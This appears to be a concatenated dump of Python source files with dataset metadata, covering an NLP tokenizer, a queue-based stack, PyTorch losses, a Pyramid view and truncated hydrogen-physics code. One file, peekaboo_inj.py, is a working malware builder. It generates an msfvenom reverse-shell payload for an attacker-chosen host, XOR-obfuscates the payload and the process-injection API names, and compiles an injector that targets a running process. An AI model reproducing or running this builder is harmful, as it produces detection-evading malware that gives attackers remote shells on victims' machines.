self.token_filter(orths, lemma, pos)\n if not tokens:\n return\n\n self._feed_storage(tokens, document_label)\n\n def _process_document(self, document, label):\n document = document.strip()\n processor = preprocessing.TextPreprocessor(document)\n cde_doc = processor.doc.user_data\n all_lemmas = processor.get_words(lemma=True)\n\n sentences = []\n for sentence in cde_doc.sentences:\n orths, pos = zip(*sentence.pos_tagged_tokens)\n orths, pos = list(orths), list(pos)\n lemma = all_lemmas[:len(orths)]\n all_lemmas = all_lemmas[len(orths):]\n\n sentences.append((orths, lemma, pos))\n\n self._process_sentences(sentences, label, processor)\n\n def tokenize(self, callback=None):\n for i_doc, document in enumerate(self.document_generator, start=1):\n if isinstance(document, tuple):\n if len(document) != 2:\n raise ValueError('document generator must yield (label, document) each time, '\n 'expected size 2, got %d!' % len(document))\n label, document = document\n else:\n label = str(i_doc)\n\n self._process_document(document, label)\n\n if callback is not None:\n callback(i_doc, document)\n\n\nclass CorpusSentenceTokenizer(CorpusTokenizer):\n def _process_sentences(self, sentences, document_label, processor):\n cde_doc = processor.doc.user_data\n for (orths, lemma, pos), sentence in zip(sentences, cde_doc.sentences):\n sent_start, sent_end = sentence.start, sentence.end\n tokens = self.token_filter(orths, lemma, pos)\n if not tokens:\n return\n\n self._feed_storage(tokens, '%s:%d-%d' % (document_label, sent_start, sent_end))\n\n\nclass CorpusToken(object):\n def __init__(self, syn_20170926, destination_collection):\n \"\"\"Generate a collection of tokenized words from syn_20170926.\n\n :param syn_20170926: Documents collection.\n :type syn_20170926: pymongo.collection.Collection or None\n :param destination_collection: Destination collection.\n :type destination_collection: pymongo.collection.Collection\n \"\"\"\n self.syn_20170926 = syn_20170926\n self.destination_collection = destination_collection\n\n self._logger = logging.getLogger('CorpusToken')\n\n def is_collection_ready(self):\n \"\"\"Test if we have a ready to use collection.\n\n :rtype: bool\n \"\"\"\n return self.destination_collection.find_one({}) is not None\n\n def _iter_paragraphs(self, document_id_fn, paragraph_filter, token_filter):\n num_total_docs = self.destination_collection.find().count()\n check_time = time.time()\n start_time = check_time\n n = 0\n\n doc_id_f = open(document_id_fn, 'w') if document_id_fn is not None else None\n\n for n, obj in enumerate(self.destination_collection.find()):\n for m, p in enumerate(obj['paragraphs']):\n\n if paragraph_filter is not None:\n p = paragraph_filter(p)\n if p is None:\n continue\n\n tokens = []\n\n for sent in p['sentences']:\n orth = sent['orth']\n lemma = sent['lemmas']\n pos = sent['pos']\n\n if token_filter is not None:\n _tokens = token_filter(orth, lemma, pos)\n else:\n _tokens = lemma\n\n if _tokens is None:\n continue\n tokens += _tokens\n\n if tokens:\n if doc_id_f:\n doc_id_f.write('{}:{}\\n'.format(obj['doi'], m))\n yield tokens\n\n n += 1\n if time.time() - check_time > 5:\n self._logger.info('Processed %d/%d documents in collection. ETA: %s',\n n, num_total_docs, estimate_eta(start_time, n, num_total_docs))\n check_time = time.time()\n\n self._logger.info('Processed %d/%d documents in collection.', n, num_total_docs)\n if doc_id_f is not None:\n doc_id_f.close()\n\n def _iter_sentences(self, document_id_fn, paragraph_filter, token_filter):\n num_total_docs = self.destination_collection.find().count()\n check_time = time.time()\n start_time = check_time\n n = 0\n\n if document_id_fn is None:\n doc_id_f = None\n elif isinstance(document_id_fn, str):\n doc_id_f = open(document_id_fn, 'w')\n else:\n doc_id_f = document_id_fn\n\n for n, obj in enumerate(self.destination_collection.find()):\n for m, p in enumerate(obj['paragraphs']):\n if paragraph_filter is not None:\n p = paragraph_filter(p)\n if p is None:\n continue\n\n current_sent_end = 0\n\n for sent in p['sentences']:\n orth = sent['orth']\n lemma = sent['lemmas']\n pos = sent['pos']\n\n current_sent_end += len(orth)\n\n if token_filter is not None:\n tokens = token_filter(orth, lemma, pos)\n else:\n tokens = lemma\n\n if tokens is None:\n continue\n\n if tokens:\n if doc_id_f:\n doc_id_f.write('{}:{}:{}:{}\\n'.format(\n obj['doi'], m, current_sent_end - len(orth), current_sent_end\n ))\n yield tokens\n\n n += 1\n if time.time() - check_time > 5:\n self._logger.info('Processed %d/%d documents in collection. ETA: %s',\n n, num_total_docs, estimate_eta(start_time, n, num_total_docs))\n check_time = time.time()\n\n self._logger.info('Processed %d/%d documents in collection.', n, num_total_docs)\n if doc_id_f is not None and isinstance(document_id_fn, str):\n doc_id_f.close()\n\n def iter_recipe_sentence(self, token_filter=None, document_id_fn=None):\n \"\"\"Iterate over all recipe paragraphs (MIT result).\n\n :param token_filter: A filter function applied to all sentence tokens lists.\n The function will be called by filter(orth, lemma, pos)\n If this function returns None, that means drop this paragraph.\n Default filter does nothing and takes the lemma of each word.\n :type token_filter: callable\n :param document_id_fn: Filename of the file of storing document ids. The format is:\n doi:paragraph_id:word_start_idx:word_end_idx\n :type document_id_fn: str\n :rtype generator\n \"\"\"\n\n def paragraph_filter(p):\n if p['classification_MIT']['recipe']:\n return p\n else:\n return None\n\n return self._iter_sentences(document_id_fn=document_id_fn,\n paragraph_filter=paragraph_filter,\n token_filter=token_filter)\n\n def iter_all_sentence(self, token_filter=None, document_id_fn=None):\n return self._iter_sentences(document_id_fn=document_id_fn,\n paragraph_filter=None,\n token_filter=token_filter)\n\n def iter_recipe_paragraph(self, token_filter=None, document_id_fn=None):\n \"\"\"Iterate over all recipe paragraphs.\n\n :param token_filter: A filter function applied to all sentence tokens lists.\n The function will be called by filter(orth, lemma, pos)\n If this function returns None, that means drop this paragraph.\n Default filter does nothing and takes the lemma of each word.\n :type token_filter: callable\n :param document_id_fn: Filename of the file of storing document ids.\n :type document_id_fn: str\n :rtype generator\n \"\"\"\n\n def paragraph_filter(p):\n if p['classification_MIT']['recipe']:\n return p\n else:\n return None\n\n return self._iter_paragraphs(document_id_fn=document_id_fn,\n paragraph_filter=paragraph_filter,\n token_filter=token_filter)\n\n def iter_paragraph(self, token_filter=None, document_id_fn=None):\n \"\"\"Iterate over all paragraphs.\n\n :param token_filter: A filter function applied to all sentence tokens lists.\n The function will be called by filter(orth, lemma, pos)\n If this function returns None, that means drop this paragraph.\n Default filter does nothing and takes the lemma of each word.\n :type token_filter: callable\n :param document_id_fn: Filename of the file of storing document ids.\n :type document_id_fn: str\n :rtype generator\n \"\"\"\n\n return self._iter_paragraphs(document_id_fn=document_id_fn,\n paragraph_filter=None,\n token_filter=token_filter)\n\n def tokenize_corpus(self, object_id_list=None, clean_database=False):\n \"\"\"Tokenize all corpus in the syn_20170926.\n\n :param object_id_list: ObjectId list to tokenize.\n :type object_id_list: list\n :param clean_database: Remove old data in collection.\n :type clean_database: bool\n :returns: Statistics about number of documents processed.\n :rtype: dict\n \"\"\"\n if self.is_collection_ready() and clean_database:\n self._logger.info('Clearing old collection.')\n self.destination_collection.delete_many({})\n\n if object_id_list is None:\n num_documents = self.syn_20170926.find({}).count()\n else:\n num_documents = len(object_id_list)\n self._logger.info('Processing %d documents.', num_documents)\n\n def doc_iterator():\n if object_id_list is None:\n for _i in self.syn_20170926.find():\n yield _i\n else:\n for _i in object_id_list:\n d = self.syn_20170926.find_one({'_id': ObjectId(_i)})\n if d is None:\n raise RuntimeError('No such object %s' % _i)\n yield d\n\n statistics = {\n 'number_docs': 0,\n 'number_sentences': 0,\n 'number_words': 0\n }\n\n check_time = time.time()\n start_time = check_time\n\n for i, doc in enumerate(doc_iterator()):\n doc_token = {\n 'doi': doc['doi'],\n 'syn_20170926_id': doc['_id'],\n 'paragraphs': []\n }\n\n for j, paragraph in enumerate(doc['paragraphs']):\n processor = preprocessing.TextPreprocessor(paragraph['text'])\n cde_doc = processor.doc.user_data\n\n all_lemmas = processor.get_words(lemma=True)\n sentences = []\n for sentence in cde_doc.sentences:\n orths, pos = zip(*sentence.pos_tagged_tokens)\n lemmas = all_lemmas[:len(pos)]\n\n all_lemmas = all_lemmas[len(pos):]\n\n sentences.append({\n 'orth': orths,\n 'pos': pos,\n 'lemmas': lemmas\n })\n\n statistics['number_words'] += len(orths)\n statistics['number_sentences'] += 1\n\n assert len(all_lemmas) == 0\n\n doc_token['paragraphs'].append({\n 'id': j,\n 'sentences': sentences,\n 'classification_MIT': {\n 'recipe': paragraph['type'] == 'recipe'\n }\n })\n\n self.destination_collection.insert_one(doc_token)\n statistics['number_docs'] += 1\n\n if time.time() - check_time > 5:\n check_time = time.time()\n logging.info('Tokenization in progress. Current %d documents, %d sentences, %d words. ETA: %s',\n statistics['number_docs'], statistics['number_sentences'], statistics['number_words'],\n estimate_eta(start_time, i, num_documents))\n\n return statistics\n", "sub_path": "ParagraphClassification/nlp/corpus_tokenizer.py", "file_name": "corpus_tokenizer.py", "file_ext": "py", "file_size_in_byte": 14421, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "itertools.chain", "line_number": 47, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 48, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 49, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 113, "usage_type": "call"}, {"api_name": "time.time", "line_number": 124, "usage_type": "call"}, {"api_name": "time.time", "line_number": 160, "usage_type": "call"}, {"api_name": "utils.time_utils.estimate_eta", "line_number": 162, "usage_type": "call"}, {"api_name": "time.time", "line_number": 163, "usage_type": "call"}, {"api_name": "time.time", "line_number": 171, "usage_type": "call"}, {"api_name": "time.time", "line_number": 214, "usage_type": "call"}, {"api_name": "utils.time_utils.estimate_eta", "line_number": 216, "usage_type": "call"}, {"api_name": "time.time", "line_number": 217, "usage_type": "call"}, {"api_name": "bson.ObjectId", "line_number": 318, "usage_type": "call"}, {"api_name": "time.time", "line_number": 329, "usage_type": "call"}, {"api_name": "time.time", "line_number": 373, "usage_type": "call"}, {"api_name": "time.time", "line_number": 374, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 375, "usage_type": "call"}, {"api_name": "utils.time_utils.estimate_eta", "line_number": 377, "usage_type": "call"}]} +{"seq_id": "628663255", "text": "import collections\nclass MyStack:\n\n def __init__(self):\n \"\"\"\n Initialize your data structure here.\n \"\"\"\n self.stack = collections.deque() # To use Queue methods append and popleft.\n self.last = -1094795586 # To track most recently added element.\n\n def push(self, x: int) -> None:\n \"\"\"\n Push element x onto stack.\n \"\"\"\n self.stack.append(x) # Add to Queue\n self.last = x # Update most recently added element\n\n def pop(self) -> int:\n \"\"\"\n Removes the element on top of the stack and returns that element.\n \"\"\"\n if len(self.stack) == 0:\n return self.last\n if len(self.stack) == 1: # if queue has only one element, just pop it and return.\n self.last = -1094795586\n return self.stack.popleft()\n # we will create a temporary deque to hold all element we pop from deque until the length reaches 2.\n temp = collections.deque()\n while len(self.stack) > 2:\n temp.append(self.stack.popleft())\n # Once length 2 is reached, we pop one element and store as cur_last. This will be set as self.last after popping.\n cur_last = self.stack.popleft()\n self.last = cur_last\n temp.append(cur_last)\n # to_return takes last element\n to_return = self.stack.popleft()\n self.stack = temp # assign the temporary deque to original deque\n return to_return # Return the last element\n\n def top(self) -> int:\n \"\"\"\n Get the top element.\n \"\"\"\n # simply return self.last as we are updating it each time we pop and push.\n return self.last\n\n def empty(self) -> bool:\n \"\"\"\n Returns whether the stack is empty.\n \"\"\"\n if len(self.stack):\n return False\n return True\n\n# Your MyStack object will be instantiated and called as such:\n# obj = MyStack()\n# obj.push(x)\n# param_2 = obj.pop()\n# param_3 = obj.top()\n# param_4 = obj.empty()", "sub_path": "week4/StackUsingQueue.py", "file_name": "StackUsingQueue.py", "file_ext": "py", "file_size_in_byte": 2016, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "collections.deque", "line_number": 8, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 28, "usage_type": "call"}]} +{"seq_id": "384789419", "text": "# payload encryption functions\r\nimport argparse\r\nimport subprocess\r\nimport sys\r\nimport random\r\nimport os\r\nimport hashlib\r\nimport string\r\n\r\nclass Colors:\r\n HEADER = '\\033[95m'\r\n BLUE = '\\033[94m'\r\n GREEN = '\\033[92m'\r\n YELLOW = '\\033[93m'\r\n RED = '\\033[91m'\r\n PURPLE = '\\033[95m'\r\n ENDC = '\\033[0m'\r\n BOLD = '\\033[1m'\r\n UNDERLINE = '\\033[4m'\r\n\r\nclass PeekabooEncryptor():\r\n def __init__(self):\r\n self.XOR_PAYLOAD = self.random()\r\n self.XOR_PROC = self.random()\r\n self.XOR_DLL = self.random()\r\n\r\n def payload_key(self):\r\n return self.XOR_PAYLOAD\r\n\r\n def func_key(self):\r\n return self.random()\r\n\r\n def proc_key(self):\r\n return self.XOR_PROC\r\n\r\n def dll_key(self):\r\n return self.XOR_DLL\r\n\r\n def xor(self, data, key):\r\n key = str(key)\r\n l = len(key)\r\n output_str = \"\"\r\n\r\n for i in range(len(data)):\r\n current = data[i]\r\n current_key = key[i % len(key)]\r\n ordd = lambda x: x if isinstance(x, int) else ord(x)\r\n output_str += chr(ordd(current) ^ ord(current_key))\r\n\r\n return output_str\r\n\r\n def xor_encrypt(self, data, key):\r\n ciphertext = self.xor(data, key)\r\n ciphertext = '{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };'\r\n return ciphertext, key\r\n\r\n def random(self):\r\n length = random.randint(16, 32)\r\n return ''.join(random.choice(string.ascii_letters) for i in range(length))\r\n\r\ndef generate_payload(host, port):\r\n print (Colors.BLUE + \"generate reverse shell payload...\" + Colors.ENDC)\r\n msfv = \"msfvenom -p windows/x64/shell_reverse_tcp\"\r\n msfv += \" LHOST=\" + host\r\n msfv += \" LPORT=\" + port\r\n msfv += \" -f raw\"\r\n msfv += \" -o /tmp/hack.bin\"\r\n print (Colors.YELLOW + msfv + Colors.ENDC)\r\n try:\r\n p = subprocess.Popen(msfv.split(), stdout = subprocess.PIPE)\r\n p.wait()\r\n print (Colors.GREEN + \"reverse shell payload successfully generated :)\" + Colors.ENDC)\r\n except Exception as e:\r\n print (Colors.RED + \"generate payload failed :(\" + Colors.ENDC)\r\n sys.exit()\r\n\r\ndef run_peekaboo(host, port, proc_name, mode):\r\n banner = \"\"\"\r\n ##### ###### # # ## ##### #### ####\r\n # # # # # # # # # # # # #\r\n # # ##### #### ##### # # ##### ##### # # # #\r\n ##### # # # ###### # # # # # #\r\n # # # # # # # # # # # #\r\n # ###### # # # # ##### #### ####\r\n by @cocomelonc, many thanks to:\r\n https://institute.sektor7.net/red-team-operator-malware-development-essentials\r\n \"\"\"\r\n print (Colors.BLUE + banner + Colors.ENDC)\r\n generate_payload(host, port)\r\n encryptor = PeekabooEncryptor()\r\n print (Colors.BLUE + \"read payload...\" + Colors.ENDC)\r\n plaintext = open(\"/tmp/hack.bin\", \"rb\").read()\r\n\r\n f_vaex = \"VirtualAllocEx\"\r\n f_op = \"OpenProcess\"\r\n f_cth = \"CreateRemoteThread\"\r\n f_wfso = \"WaitForSingleObject\"\r\n f_wpm = \"WriteProcessMemory\"\r\n f_clh = \"CloseHandle\"\r\n f_p32f = \"Process32First\"\r\n f_p32n = \"Process32Next\"\r\n f_ct32s = \"CreateToolhelp32Snapshot\"\r\n\r\n f_xor = \"XOR(\"\r\n f_inj = \"Inject(\"\r\n f_ftt = \"FindTarget\"\r\n\r\n k32_name = \"kernel32\"\r\n\r\n print (Colors.BLUE + \"process name: \" + proc_name + \"...\" + Colors.ENDC)\r\n print (Colors.BLUE + \"encrypt...\" + Colors.ENDC)\r\n f_xor, f_inj, f_ftt = encryptor.random(), encryptor.random(), encryptor.random()\r\n ciphertext, p_key = encryptor.xor_encrypt(plaintext, encryptor.payload_key())\r\n ciphertext_vaex, vaex_key = encryptor.xor_encrypt(f_vaex, encryptor.func_key())\r\n ciphertext_wpm, wpm_key = encryptor.xor_encrypt(f_wpm, encryptor.func_key())\r\n ciphertext_cth, ct_key = encryptor.xor_encrypt(f_cth, encryptor.func_key())\r\n ciphertext_wfso, wfso_key = encryptor.xor_encrypt(f_wfso, encryptor.func_key())\r\n ciphertext_clh, clh_key = encryptor.xor_encrypt(f_clh, encryptor.func_key())\r\n ciphertext_p32f, p32f_key = encryptor.xor_encrypt(f_p32f, encryptor.func_key())\r\n ciphertext_p32n, p32n_key = encryptor.xor_encrypt(f_p32n, encryptor.func_key())\r\n ciphertext_op, op_key = encryptor.xor_encrypt(f_op, encryptor.func_key())\r\n ciphertext_ct32s, ct32s_key = encryptor.xor_encrypt(f_ct32s, encryptor.func_key())\r\n ciphertext_proc, proc_key = encryptor.xor_encrypt(proc_name, encryptor.proc_key())\r\n ciphertext_k32, k32_key = encryptor.xor_encrypt(k32_name, encryptor.dll_key())\r\n\r\n tmp = open(\"peekaboo_inj.cpp\", \"rt\")\r\n data = tmp.read()\r\n\r\n data = data.replace('unsigned char my_payload[] = { };', 'unsigned char my_payload[] = ' + ciphertext)\r\n data = data.replace('unsigned char s_vaex[] = { };', 'unsigned char s_vaex[] = ' + ciphertext_vaex)\r\n data = data.replace('unsigned char s_cth[] = { };', 'unsigned char s_cth[] = ' + ciphertext_cth)\r\n data = data.replace('unsigned char s_wfso[] = { };', 'unsigned char s_wfso[] = ' + ciphertext_wfso)\r\n data = data.replace('unsigned char s_wpm[] = { };', 'unsigned char s_wpm[] = ' + ciphertext_wpm)\r\n data = data.replace('unsigned char s_op[] = { };', 'unsigned char s_op[] = ' + ciphertext_op)\r\n data = data.replace('unsigned char s_clh[] = { };', 'unsigned char s_clh[] = ' + ciphertext_clh)\r\n data = data.replace('unsigned char s_p32f[] = { };', 'unsigned char s_p32f[] = ' + ciphertext_p32f)\r\n data = data.replace('unsigned char s_p32n[] = { };', 'unsigned char s_p32n[] = ' + ciphertext_p32n)\r\n data = data.replace('unsigned char s_ct32s[] = { };', 'unsigned char s_ct32s[] = ' + ciphertext_ct32s)\r\n data = data.replace('unsigned char my_proc[] = { };', 'unsigned char my_proc[] = ' + ciphertext_proc)\r\n data = data.replace('unsigned char s_k32[] = { };', 'unsigned char s_k32[] = ' + ciphertext_k32)\r\n\r\n data = data.replace('char my_payload_key[] = \"\";', 'char my_payload_key[] = \"' + p_key + '\";')\r\n data = data.replace('char my_proc_key[] = \"\";', 'char my_proc_key[] = \"' + proc_key + '\";')\r\n data = data.replace('char s_vaex_key[] = \"\";', 'char s_vaex_key[] = \"' + vaex_key + '\";')\r\n data = data.replace('char s_wpm_key[] = \"\";', 'char s_wpm_key[] = \"' + wpm_key + '\";')\r\n data = data.replace('char s_cth_key[] = \"\";', 'char s_cth_key[] = \"' + ct_key + '\";')\r\n data = data.replace('char s_wfso_key[] = \"\";', 'char s_wfso_key[] = \"' + wfso_key + '\";')\r\n data = data.replace('char s_clh_key[] = \"\";', 'char s_clh_key[] = \"' + clh_key + '\";')\r\n data = data.replace('char s_p32f_key[] = \"\";', 'char s_p32f_key[] = \"' + p32f_key + '\";')\r\n data = data.replace('char s_p32n_key[] = \"\";', 'char s_p32n_key[] = \"' + p32n_key + '\";')\r\n data = data.replace('char s_op_key[] = \"\";', 'char s_op_key[] = \"' + op_key + '\";')\r\n data = data.replace('char s_ct32s_key[] = \"\";', 'char s_ct32s_key[] = \"' + ct32s_key + '\";')\r\n data = data.replace('char k32_key[] = \"\";', 'char k32_key[] = \"' + k32_key + '\";')\r\n data = data.replace('XOR(', f_xor + \"(\")\r\n data = data.replace(\"Inject(\", f_inj + \"(\")\r\n data = data.replace(\"FindTarget(\", f_ftt + \"(\")\r\n\r\n if mode == \"console\":\r\n data = data.replace(\"int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {\", \"int main(void) {\")\r\n\r\n tmp.close()\r\n tmp = open(\"peekaboo-enc.cpp\", \"w+\")\r\n tmp.write(data)\r\n tmp.close()\r\n\r\n print (Colors.GREEN + \"successfully encrypt template file :)\" + Colors.ENDC)\r\n\r\n try:\r\n cmd = \"x86_64-w64-mingw32-gcc -O2 peekaboo-enc.cpp -o peekaboo.exe -m\" + mode + \" -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive >/dev/null 2>&1\"\r\n os.system(cmd)\r\n os.remove(\"peekaboo-enc.cpp\")\r\n except:\r\n print (Colors.RED + \"error compiling template :(\" + Colors.ENDC)\r\n sys.exit()\r\n else:\r\n print (Colors.YELLOW + cmd + Colors.ENDC)\r\n print (Colors.GREEN + \"successfully compiled :)\" + Colors.ENDC)\r\n\r\nif __name__ == \"__main__\":\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('-l','--lhost', required = True, help = \"local IP\")\r\n parser.add_argument('-p','--lport', required = True, help = \"local port\", default = '4444')\r\n parser.add_argument('-e', '--proc', required = False, help = \"process name\", default = \"notepad.exe\")\r\n parser.add_argument(\"-m\", '--mode', required = False, help = \"console or windows app\", default = \"windows\")\r\n args = vars(parser.parse_args())\r\n host, port = args['lhost'], args['lport']\r\n proc_name, mode = args['proc'], args['mode']\r\n run_peekaboo(host, port, proc_name, mode)\r\n", "sub_path": "peekaboo_inj.py", "file_name": "peekaboo_inj.py", "file_ext": "py", "file_size_in_byte": 8800, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "random.randint", "line_number": 58, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 59, "usage_type": "call"}, {"api_name": "string.ascii_letters", "line_number": 59, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 70, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 70, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 75, "usage_type": "call"}, {"api_name": "os.system", "line_number": 170, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 171, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 174, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 180, "usage_type": "call"}]} +{"seq_id": "131474125", "text": "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\ndef myCrossEntropyLoss(outputs, labels):\n batch_size = outputs.size()[0]\n # batch_size\n tmp_outputs = F.softmax(outputs, dim=1)\n print(tmp_outputs)# compute the log of softmax values\n outputs = F.log_softmax(outputs, dim=1)\n print(outputs)# compute the log of softmax values\n outputs = outputs[range(batch_size), labels] # pick the values corresponding to the labels\n return -torch.sum(outputs)/len(labels)\n\nm = nn.LogSoftmax()\nloss = nn.NLLLoss()\n# input is of size N x C = 3 x 5\ninput = torch.randn(3, 5)\nprint(input)\n# each element in target has to have 0 <= value < C\ntarget = torch.tensor([1, 0, 4])\nprint(len(target))\noutput = loss(m(input), target)\nprint(output)\nprint(output.item())\noutput2 = myCrossEntropyLoss(input, target)\nprint(output2)\n#Mean Squared Error Loss\nmse_loss = nn.MSELoss()\noutputs = torch.randn(3, 5, requires_grad=True)\nprint(outputs)\ntargets = torch.randn(3, 5)\nloss = mse_loss(outputs, targets)\nprint(loss)\n#Categorical Cross-Entropy Loss\nce_loss = nn.CrossEntropyLoss()\noutputs = torch.randn(3, 5, requires_grad=True)\ntargets = torch.tensor([1, 0, 3], dtype=torch.int64)\nloss = ce_loss(outputs, targets)\nprint(loss)\n\n", "sub_path": "pythonML/notebooks/Pytorch/scripts/nn_loss.py", "file_name": "nn_loss.py", "file_ext": "py", "file_size_in_byte": 1239, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "torch.nn.functional.softmax", "line_number": 8, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 8, "usage_type": "name"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 10, "usage_type": "name"}, {"api_name": "torch.sum", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.nn.LogSoftmax", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.nn.NLLLoss", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.randn", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.randn", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.randn", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.int64", "line_number": 38, "usage_type": "attribute"}]} +{"seq_id": "503737512", "text": "from pyramid.view import view_config\nfrom swoll.models.user import User\nfrom pyramid.httpexceptions import HTTPFound\n\n\n@view_config(route_name='home', renderer='home.jinja2')\ndef home(request):\n user_id = request.cookies.get(\"user_id\")\n if user_id is not None:\n games = []\n user = User.lookup(int(user_id))\n for player in user.players:\n match = player.board.match\n games.append({\n \"board_id\": player.board_id,\n \"team_away\": match.team_away.name,\n \"team_home\": match.team_home.name\n })\n return {\n 'matches': games\n }\n else:\n return HTTPFound(location=\"/login/\")\n", "sub_path": "swoll/views/home.py", "file_name": "home.py", "file_ext": "py", "file_size_in_byte": 701, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "swoll.models.user.User.lookup", "line_number": 11, "usage_type": "call"}, {"api_name": "swoll.models.user.User", "line_number": 11, "usage_type": "name"}, {"api_name": "pyramid.httpexceptions.HTTPFound", "line_number": 23, "usage_type": "call"}, {"api_name": "pyramid.view.view_config", "line_number": 6, "usage_type": "call"}]} +{"seq_id": "225110069", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon May 22 10:27:38 2017\r\n@author: Simon\r\n\"\"\"\r\n\r\nfrom __future__ import division\r\nimport numpy as np\r\nfrom bases_pivot_Gauss import *\r\nfrom matplotlib import pyplot as plt\r\nfrom scipy.integrate import quad\r\nfrom scipy.interpolate import interp1d\r\nfrom scipy.special import erf\r\nimport time\r\n\r\nN = len(LJmJmI())\r\n\r\n##### VALEURS NUMERIQUES #####\r\nmub = 1.3996245042 # magnéton de Bohr en MHz/G (CODATA14)\r\nme = 9.10938356e-31 # masse de l'électron en kg (CODATA14)\r\nmN = 1.672621898e-27 # masse du proton en kg (CODATA14)\r\nqe = 1.6021766208e-19 # charge de l'électron en C (CODATA14)\r\na0 = 0.52917721067e-10 # rayon de Bohr en m (CODATA14)\r\nh = 6.626070040e-34 # constante de Planck en J.s (CODATA14)\r\ngN = 5.585694702 # facteur de Landé du noyau (CODATA14)\r\nge = 2.00231930436182 # facteur de Landé de l'électron (CODATA14)\r\nc = 299792458 # vitesse de la lumière dans le vide en m/s\r\nalpha = 7.2973525664e-3 # constante de structure fine (CODATA14)\r\n# Lamb shift en MHz (n,L) (Galtier thèse) :\r\nLS = {(1,0):8172.840, (3,0):311.404, (3,1):0}\r\n# Constante de couplage en MHz (n) :\r\nA_SHF = {1:1420.405751768, 3:52.6094446}\r\n# Facteur de Landé de l'électron (n) (Indelicato)\r\ngS = {1:2.00228377, 3:2.0023152}\r\n# Largeur des niveaux en MHz (n,L) :\r\ngamma = {(1,0):0, (3,0):1.004945452, (3,1):30.192}\r\n \r\n##### HAMILTONIENS #####\r\ndef H_SFHF(E0=0): # en MHz (Hagel thèse, Brodsky67, Glass thèse) \r\n # base = 'LJFmF' \r\n H = np.zeros((N,N))\r\n for n, niv1 in enumerate(LJFmF()):\r\n for m, niv2 in enumerate(LJFmF()):\r\n if n == m: # (I·J)\r\n H[n,m] = E(niv1.n, niv1.L, niv1.J) - E0 \\\r\n + (3/16)*A_SHF[niv1.n] \\\r\n *(niv1.F*(niv1.F+1)-niv1.J*(niv1.J+1)-niv1.I*(niv1.I+1)) \\\r\n /(niv1.J*(niv1.J+1)*(niv1.L+1/2))\r\n if niv1.L != 0 and niv1.J != niv2.J \\\r\n and niv1.L==niv2.L and niv1.F==niv2.F and niv1.mF==niv2.mF: # (I·L)\r\n H[n,m] = (3/16)*A_SHF[3] \\\r\n *(-1)**(2*niv1.J+niv1.L+niv1.F+niv1.I+3/2) \\\r\n *np.sqrt((2*niv1.J+1)*(2*niv2.J+1) \\\r\n *(2*niv1.I+1)*(niv1.I+1)*niv1.I \\\r\n *(2*niv1.L+1)*(niv1.L+1)*niv1.L) \\\r\n *wigner6j(niv1.F,niv1.I,niv2.J,1,niv1.J,niv1.I) \\\r\n *wigner6j(niv1.L,niv2.J,1/2,niv1.J,niv1.L,1) \\\r\n /(niv1.L*(niv1.L+1)*(niv1.L+1/2))\r\n return H \r\n \r\ndef E(n,L,J): # Dirac + recul + Lamb Shift, pour Z=1, en MHz\r\n mu = me*mN/(me+mN)\r\n epsilon = J + 1/2 - np.sqrt((J+1/2)**2-alpha**2)\r\n E = (mu*c**2)*(1/np.sqrt(1+(alpha/(n-epsilon))**2) - 1)\r\n E -= (mu**2*c**2)*alpha**4 / ((me+mN)*8*n**4)\r\n E *= 1e-6/h # conversion en MHz\r\n E += LS[(n,L)]\r\n return E\r\n \r\ndef H_Zeeman(B): # en MHz (Hagel thèse, Glass thèse)\r\n # base = 'LmSmLmI'\r\n H = np.zeros((N,N))\r\n for n, niv in enumerate(LmSmLmI()):\r\n H[n,n] = (gS[niv.n]*niv.mS + (1-me/mN)*niv.mL - gN*me/mN*niv.mI)*mub*B\r\n H[n,n] -= diamagnetique(niv.n,niv.L,niv.mL)*B**2\r\n return H\r\n \r\ndef diamagnetique(n,L,mL): # en MHz/G² (Delande 